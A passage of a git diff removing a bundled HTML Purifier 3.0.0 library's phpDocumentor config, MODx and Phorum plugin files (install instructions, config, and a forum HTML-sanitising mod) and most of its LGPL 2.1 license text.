-;; not have a parent directory named "pear" -;; legal values: on/off -;pear = on - -;; where should the documentation be written? -;; legal values: a legal path -target = docs/phpdoc - -;; Which files should be parsed out as special documentation files, such as README, -;; INSTALL and CHANGELOG? This overrides the default files found in -;; phpDocumentor.ini (this file is not a user .ini file, but the global file) -readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS - -;; limit output to the specified packages, even if others are parsed -;; legal values: package names separated by commas -;packageoutput = package1,package2 - -;; comma-separated list of files to parse -;; legal values: paths separated by commas -;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory - -;; comma-separated list of directories to parse -;; legal values: directory paths separated by commas -;directory = /path1,/path2,.,..,subdirectory -;directory = /home/jeichorn/cvs/pear -directory = . - -;; template base directory (the equivalent directory of <installdir>/phpDocumentor) -;templatebase = /path/to/my/templates - -;; directory to find any example files in through @example and {@example} tags -;examplesdir = /path/to/my/templates - -;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore -;; legal values: any wildcard strings separated by commas -;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/ -ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf* - -sourcecode = on - -;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format -;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib, -;; HTML:frames:earthli, -;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de, -;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli -;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS -;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default -output=HTML:frames:default - -;; turn this option on if you want highlighted source code for every file -;; legal values: on/off -sourcecode = on \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/plugins/modx.txt b/lib/htmlpurifier-3.0.0/plugins/modx.txt deleted file mode 100644 index 2109315..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/modx.txt +++ /dev/null @@ -1,91 +0,0 @@ - -MODx Plugin - -MODx <http://www.modxcms.com/> is an open source PHP application framework. -I first came across them in my referrer logs when tillda asked if anyone -could implement an HTML Purifier plugin. This forum thread -<http://modxcms.com/forums/index.php/topic,6604.0.html> eventually resulted -in the fruition of this plugin that davidm says, "is on top of my favorite -list." HTML Purifier goes great with WYSIWYG editors! - - - -1. Credits - -PaulGregory wrote the overall structure of the code. I added the -slashes hack. - - - -2. Install - -First, you need to place HTML Purifier library somewhere. The code here -assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version -number). - -Log into the manager, and navigate: - -Resources > Manage Resources > Plugins tab > New Plugin - -Type in a name (probably HTML Purifier), and copy paste this code into the -textarea: - --------------------------------------------------------------------------------- -$e = &$modx->Event; -if ($e->name == 'OnBeforeDocFormSave') { - global $content; - - set_include_path('../assets/plugins/htmlpurifier/library/' - . PATH_SEPARATOR . get_include_path()); - include_once 'HTMLPurifier.php'; - $purifier = new HTMLPurifier(); - - static $magic_quotes = null; - if ($magic_quotes === null) { - // this is an ugly hack because this hook hasn't - // had the backslashes removed yet when magic_quotes_gpc is on, - // but HTMLPurifier must not have the quotes slashed. - $magic_quotes = get_magic_quotes_gpc(); - } - - if ($magic_quotes) $content = stripslashes($content); - $content = $purifier->purify($content); - if ($magic_quotes) $content = addslashes($content); -} --------------------------------------------------------------------------------- - -Then navigate to the System Events tab and check "OnBeforeDocFormSave". -Save the plugin. HTML Purifier now is integrated! - - - -3. Making sure it works - -You can test HTML Purifier by deliberately putting in crappy HTML and seeing -whether or not it gets fixed. A better way is to put in something like this: - -<p lang="fr">Il est bon</p> - -...and seeing whether or not the content comes out as: - -<p lang="fr" xml:lang="fr">Il est bon</p> - -(lang to xml:lang synchronization is one of the many features HTML Purifier -has). - - - -4. Caveat Emptor - -This code does not intercept save requests from the QuickEdit plugin, this may -be added in a later version. It also modifies things on save, so there's a -slight chance that HTML Purifier may make a boo-boo and accidently mess things -up (the original version is not saved). - -Finally, make sure that MODx is using UTF-8. If you are using, say, a French -localisation, you may be using Latin-1, if that's the case, configure -HTML Purifier properly like this: - -$config = HTMLPurifier_Config::createDefault(); -$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding -$purifier = new HTMLPurifier($config); diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/config.default.php b/lib/htmlpurifier-3.0.0/plugins/phorum/config.default.php deleted file mode 100644 index 2f9031c..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/config.default.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -if(!defined("PHORUM")) exit; - -// default HTML Purifier configuration settings -$config->set('HTML', 'Allowed', - // alphabetically sorted -'a[href|title] -abbr[title] -acronym[title] -b -blockquote[cite] -br -caption -cite -code -dd -del -dfn -div -dl -dt -em -i -img[src|alt|title|class] -ins -kbd -li -ol -p -pre -s -strike -strong -sub -sup -table -tbody -td -tfoot -th -thead -tr -tt -u -ul -var'); -$config->set('AutoFormat', 'AutoParagraph', true); -$config->set('AutoFormat', 'Linkify', true); -$config->set('HTML', 'Doctype', 'XHTML 1.0 Transitional'); -$config->set('Core', 'AggressivelyFixLt', true); -$config->set('Core', 'Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually -if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') { - $config->set('Core', 'EscapeNonASCIICharacters', true); -} - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier.php b/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier.php deleted file mode 100644 index ae2c276..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier.php +++ /dev/null @@ -1,302 +0,0 @@ -<?php - -/** - * HTML Purifier Phorum Mod. Filter your HTML the Standards-Compliant Way! - * - * This Phorum mod enables users to post raw HTML into Phorum. But never - * fear: with the help of HTML Purifier, this HTML will be beat into - * de-XSSed and standards-compliant form, safe for general consumption. - * It is not recommended, but possible to run this mod in parallel - * with other formatters (in short, please DISABLE the BBcode mod). - * - * For help migrating from your previous markup language to pure HTML - * please check the migrate.bbcode.php file. - * - * If you'd like to use this with a WYSIWYG editor, make sure that - * editor sets $PHORUM['mod_htmlpurifier']['wysiwyg'] to true. Otherwise, - * administrators who need to edit other people's comments may be at - * risk for some nasty attacks. - * - * Tested with Phorum 5.1.22. This module will almost definitely need - * to be upgraded when Phorum 6 rolls around. - */ - -// Note: Cache data is base64 encoded because Phorum insists on flinging -// to the user and expecting it to come back unharmed, newlines and -// all, which ain't happening. It's slower, it takes up more space, but -// at least it won't get mutilated - -/** - * Purifies a data array - */ -function phorum_htmlpurifier_format($data) -{ - $PHORUM = $GLOBALS["PHORUM"]; - - $purifier =& HTMLPurifier::getInstance(); - $cache_serial = $PHORUM['mod_htmlpurifier']['body_cache_serial']; - - foreach($data as $message_id => $message){ - if(isset($message['body'])) { - - if ($message_id) { - // we're dealing with a real message, not a fake, so - // there a number of shortcuts that can be taken - - if (isset($message['meta']['htmlpurifier_light'])) { - // format hook was called outside of Phorum's normal - // functions, do the abridged purification - $data[$message_id]['body'] = $purifier->purify($message['body']); - continue; - } - - if (!empty($PHORUM['args']['purge'])) { - // purge the cache, must be below the following if - unset($message['meta']['body_cache']); - } - - if ( - isset($message['meta']['body_cache']) && - isset($message['meta']['body_cache_serial']) && - $message['meta']['body_cache_serial'] == $cache_serial - ) { - // cached version is present, bail out early - $data[$message_id]['body'] = base64_decode($message['meta']['body_cache']); - continue; - } - } - - // migration might edit this array, that's why it's defined - // so early - $updated_message = array(); - - // create the $body variable - if ( - $message_id && // message must be real to migrate - !isset($message['meta']['body_cache_serial']) - ) { - // perform migration - $fake_data = array(); - list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message); - $fake_data[$message_id] = $message; - $fake_data = phorum_htmlpurifier_migrate($fake_data); - $body = $fake_data[$message_id]['body']; - $body = str_replace("<phorum break>", '', $body); - $updated_message['body'] = $body; // save it in - $body .= $signature . $edit_message; // add it back in - } else { - // reverse Phorum's pre-processing - $body = $message['body']; - // order is important - $body = str_replace("<phorum break>\n", "\n", $body); - $body = str_replace(array('&lt;','&gt;','&amp;'), array('<','>','&'), $body); - if (!$message_id && defined('PHORUM_CONTROL_CENTER')) { - // we're in control.php, so it was double-escaped - $body = str_replace(array('&lt;','&gt;','&amp;', '&quot;'), array('<','>','&','"'), $body); - } - } - - $body = $purifier->purify($body); - - // dynamically update the cache (MUST BE DONE HERE!) - // this is inefficient because it's one db call per - // cache miss, but once the cache is in place things are - // a lot zippier. - - if ($message_id) { // make sure it's not a fake id - $updated_message['meta'] = $message['meta']; - $updated_message['meta']['body_cache'] = base64_encode($body); - $updated_message['meta']['body_cache_serial'] = $cache_serial; - phorum_db_update_message($message_id, $updated_message); - } - - // must not get overloaded until after we cache it, otherwise - // we'll inadvertently change the original text - $data[$message_id]['body'] = $body; - - } - } - - return $data; -} - -// ----------------------------------------------------------------------- -// This is fragile code, copied from read.php:359. It will break if -// that is changed - -/** - * Generates a signature based on a message array - */ -function phorum_htmlpurifier_generate_sig($row) { - $phorum_sig = ''; - if(isset($row["user"]["signature"]) - && isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){ - $phorum_sig=trim($row["user"]["signature"]); - if(!empty($phorum_sig)){ - $phorum_sig="\n\n$phorum_sig"; - } - } - return $phorum_sig; -} - -/** - * Generates an edit message based on a message array - */ -function phorum_htmlpurifier_generate_editmessage($row) { - $PHORUM = $GLOBALS['PHORUM']; - $editmessage = ''; - if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) { - $editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]); - $editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date"],$row['meta']['edit_date']), $editmessage); - $editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage); - $editmessage="\n\n\n\n$editmessage"; - } - return $editmessage; -} - -// End fragile code -// ----------------------------------------------------------------------- - -/** - * Removes the signature and edit message from a message - * @param $row Message passed by reference - */ -function phorum_htmlpurifier_remove_sig_and_editmessage(&$row) { - // attempt to remove the Phorum's pre-processing: - // we must not process the signature or editmessage - $signature = phorum_htmlpurifier_generate_sig($row); - $editmessage = phorum_htmlpurifier_generate_editmessage($row); - $row['body'] = strtr($row['body'], array($signature => '', $editmessage => '')); - return array($signature, $editmessage); -} - -/** - * Indicate that data is fully HTML and not from migration, invalidate - * previous caches - * @note This function used to generate the actual cache entries, but - * since there's data missing that must be deferred to the first read - */ -function phorum_htmlpurifier_posting($message) { - $PHORUM = $GLOBALS["PHORUM"]; - unset($message['meta']['body_cache']); // invalidate the cache - $message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial']; - return $message; -} - -/** - * Overload quoting mechanism to prevent default, mail-style quote from happening - */ -function phorum_htmlpurifier_quote($array) { - $PHORUM = $GLOBALS["PHORUM"]; - $purifier =& HTMLPurifier::getInstance(); - $text = $purifier->purify($array[1]); - return "<blockquote cite=\"$array[0]\">\n$text\n</blockquote>"; -} - -/** - * Ensure that our format hook is processed last. Also, loads the library. - * @credits <http://secretsauce.phorum.org/snippets/make_bbcode_last_formatter.php.txt> - */ -function phorum_htmlpurifier_common() { - - require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php'); - require(dirname(__FILE__).'/init-config.php'); - - $config = phorum_htmlpurifier_get_config(); - HTMLPurifier::getInstance($config); - - // increment revision.txt if you want to invalidate the cache - $GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial(); - - // load migration - if (file_exists(dirname(__FILE__) . '/migrate.php')) { - include(dirname(__FILE__) . '/migrate.php'); - } else { - echo '<strong>Error:</strong> No migration path specified for HTML Purifier, please check - <tt>modes/htmlpurifier/migrate.bbcode.php</tt> for instructions on - how to migrate from your previous markup language.'; - exit; - } - - // see if our hooks need to be bubbled to the end - phorum_htmlpurifier_bubble_hook('format'); - -} - -function phorum_htmlpurifier_bubble_hook($hook) { - global $PHORUM; - $our_idx = null; - $last_idx = null; - if (!isset($PHORUM['hooks'][$hook]['mods'])) return; - foreach ($PHORUM['hooks'][$hook]['mods'] as $idx => $mod) { - if ($mod == 'htmlpurifier') $our_idx = $idx; - $last_idx = $idx; - } - list($mod) = array_splice($PHORUM['hooks'][$hook]['mods'], $our_idx, 1); - $PHORUM['hooks'][$hook]['mods'][] = $mod; - list($func) = array_splice($PHORUM['hooks'][$hook]['funcs'], $our_idx, 1); - $PHORUM['hooks'][$hook]['funcs'][] = $func; -} - -/** - * Pre-emptively performs purification if it looks like a WYSIWYG editor - * is being used - */ -function phorum_htmlpurifier_before_editor($message) { - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - if (!empty($message['body'])) { - $body = $message['body']; - // de-entity-ize contents - $body = str_replace(array('&lt;','&gt;','&amp;'), array('<','>','&'), $body); - $purifier =& HTMLPurifier::getInstance(); - $body = $purifier->purify($message['body']); - // re-entity-ize contents - $body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']); - } - } - return $message; -} - -function phorum_htmlpurifier_editor_after_subject() { - // don't show this message if it's a WYSIWYG editor, since it will - // then be handled automatically - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) return; - ?><tr><td colspan="2" style="padding:1em 0.3em;" class="htmlpurifier-help"> - <p> - <strong>HTML input</strong> is enabled. Make sure you escape all HTML and - angled brackets with <code>&amp;lt;</code> and <code>&amp;gt;</code>. - </p><?php - $purifier =& HTMLPurifier::getInstance(); - $config = $purifier->config; - if ($config->get('AutoFormat', 'AutoParagraph')) { - ?><p> - <strong>Auto-paragraphing</strong> is enabled. Double - newlines will be converted to paragraphs; for single - newlines, use the <code>pre</code> tag. - </p><?php - } - $html_definition = $config->getDefinition('HTML'); - $allowed = array(); - foreach ($html_definition->info as $name => $x) $allowed[] = "<code>$name</code>"; - sort($allowed); - $allowed_text = implode(', ', $allowed); - ?><p><strong>Allowed tags:</strong> <?php - echo $allowed_text; - ?>.</p><?php - ?> - </p> - <p> - For inputting literal code such as HTML and PHP for display, use - CDATA tags to auto-escape your angled brackets, and <code>pre</code> - to preserve newlines: - </p> - <pre>&lt;pre&gt;&lt;![CDATA[ -<em>Place code here</em> -]]&gt;&lt;/pre&gt;</pre> - <p> - Power users, you can hide this notice with: - <pre>.htmlpurifier-help {display:none;}</pre> - </p> - </td></tr><?php -} - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/LICENSE b/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/LICENSE deleted file mode 100644 index 5ab7695..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/LICENSE +++ /dev/null @@ -1,504 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) Verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY 